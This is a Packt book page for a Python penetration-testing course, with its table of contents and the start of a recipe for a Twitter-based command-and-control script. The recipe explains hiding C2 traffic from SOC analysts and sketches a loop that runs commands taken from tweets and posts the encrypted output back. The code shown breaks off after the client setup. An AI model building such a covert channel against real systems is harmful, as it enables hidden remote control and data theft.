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Python: Penetration Testing for Developers

You're reading from   Python: Penetration Testing for Developers Execute effective tests to identify software vulnerabilities

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Product type Course
Published in Oct 2016
Publisher Packt
ISBN-13 9781787128187
Length 650 pages
Edition 1st Edition
Languages
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Authors (6):
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Christopher Duffy Christopher Duffy
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Christopher Duffy
Mohit Raj Mohit Raj
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Mohit Raj
Dave Mound Dave Mound
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Dave Mound
Terry Ip Terry Ip
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Terry Ip
Cameron Buchanan Cameron Buchanan
Author Profile Icon Cameron Buchanan
Cameron Buchanan
Andrew Mabbitt Andrew Mabbitt
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Andrew Mabbitt
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Table of Contents (32) Chapters Close

Python: Penetration Testing for Developers
Python: Penetration Testing for Developers
Credits
Preface
1. Understanding the Penetration Testing Methodology FREE CHAPTER 2. The Basics of Python Scripting 3. Identifying Targets with Nmap, Scapy, and Python 4. Executing Credential Attacks with Python 5. Exploiting Services with Python 6. Assessing Web Applications with Python 7. Cracking the Perimeter with Python 8. Exploit Development with Python, Metasploit, and Immunity 9. Automating Reports and Tasks with Python 10. Adding Permanency to Python Tools 11. Python with Penetration Testing and Networking 12. Scanning Pentesting 13. Sniffing and Penetration Testing 14. Wireless Pentesting 15. Foot Printing of a Web Server and a Web Application 16. Client-side and DDoS Attacks 17. Pentesting of SQLI and XSS 18. Gathering Open Source Intelligence 19. Enumeration 20. Vulnerability Identification 21. SQL Injection 22. Web Header Manipulation 23. Image Analysis and Manipulation 24. Encryption and Encoding 25. Payloads and Shells 26. Reporting Bibliography
Index

Creating an Twitter C2


Up to a certain point, requesting random pages on the Internet is passable but once a Security Operation Centre (SOC) analyst takes a closer look at all the data that's vanishing up the tubes, it's going to be obvious that the requests are going to a dodgy site and therefore are likely associated with malicious traffic. Fortunately, social media helps out in this regard and allows us to hide data in plain sight.

We will create a script that connects to Twitter, reads tweets, performs commands based on those tweets, encrypts the response data, and posts it to Twitter. We'll also make a decode script.

Getting Started

For this, you will need a Twitter account with an API key.

How to do it…

The script we will be using is as follows:

from twitter import *
import os
from Crypto.Cipher import ARC4
import subprocess
import time

token = ''
token_key = ''
con_secret = ''
con_secret_key = ''
t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key))

while 1:
  user = t...
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